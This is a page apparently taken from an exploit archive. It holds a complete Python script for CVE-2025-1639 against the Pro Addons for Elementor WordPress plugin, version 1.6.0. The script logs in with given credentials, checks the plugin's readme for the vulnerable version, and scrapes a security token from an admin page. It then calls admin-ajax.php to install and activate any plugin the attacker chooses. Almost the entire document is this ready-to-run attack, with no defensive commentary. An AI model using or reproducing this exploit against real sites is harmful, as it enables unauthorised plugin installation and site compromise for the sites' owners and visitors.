Share
## https://sploitus.com/exploit?id=1337DAY-ID-39943
import argparse
import requests
from bs4 import BeautifulSoup
import re

#Exploit By Nxploit Khaled ALenazi

def login(session, url, username, password, user_agent):
    login_url = url + '/wp-login.php'
    response = session.post(login_url, verify=False, data={
        'log': username,
        'pwd': password,
        'rememberme': 'forever',
        'wp-submit': 'Log+In'
    }, headers={"User-Agent": user_agent})
    
    if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
        print("Logged in successfully.")
        return True
    else:
        print("Failed to log in.")
        return False

def check_version(session, url):
    version_url = url + '/wp-content/plugins/pro-addons-for-elementor/readme.txt'
    response = session.get(version_url, verify=False)
    if 'Stable tag: 1.6.0' in response.text:
        print("The site is vulnerable... Exploiting and uploading the plugin.")
        return True
    print("The site is not vulnerable.")
    return False

def extract_security_token(session, url):
    edit_url = url + '/wp-admin/edit.php?post_type=pafe'
    response = session.get(edit_url, verify=False)
    soup = BeautifulSoup(response.text, 'html.parser')
    script = soup.find('script', text=re.compile('theme_data'))
    if script:
        script_content = script.string
        security_token = re.search(r'"security":"([a-zA-Z0-9]+)"', script_content)
        if security_token:
            return security_token.group(1)
    return None

def exploit(session, url, security_token, plugin_slug, user_agent):
    exploit_url = url + '/wp-admin/admin-ajax.php'
    exploit_data = {
        'action': 'vayu_blocks_install_and_activate_callback',
        'plugin_slug': plugin_slug,
        'security': security_token
    }
    headers = {
        "User-Agent": user_agent,
        "Accept": "text/html, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": url + "/wp-admin/edit.php?post_type=pafe",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": url,
        "Connection": "keep-alive",
        "Cookie": "; ".join([cookie.name + "=" + cookie.value for cookie in session.cookies])
    }
    response = session.post(exploit_url, data=exploit_data, headers=headers, verify=False)
    if response.status_code == 200:
        print("Plugin uploaded and activated successfully.")
    else:
        print("Failed to upload and activate the plugin.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2025-1639  # By Nxploit | Kaled ALenazi  ')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-un', '--username', required=True, help='WordPress username')
    parser.add_argument('-p', '--password', required=True, help='WordPress password')
    parser.add_argument('-pl', '--plugin', default='wp-maintenance-mode', help='Plugin slug to upload and activate (default: wp-maintenance-mode)')
    args = parser.parse_args()

    user_agent = 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0'
    session = requests.Session()

    if login(session, args.url, args.username, args.password, user_agent):
        if check_version(session, args.url):
            security_token = extract_security_token(session, args.url)
            if security_token:
                exploit(session, args.url, security_token, args.plugin, user_agent)
            else:
                print("Failed to extract security token.")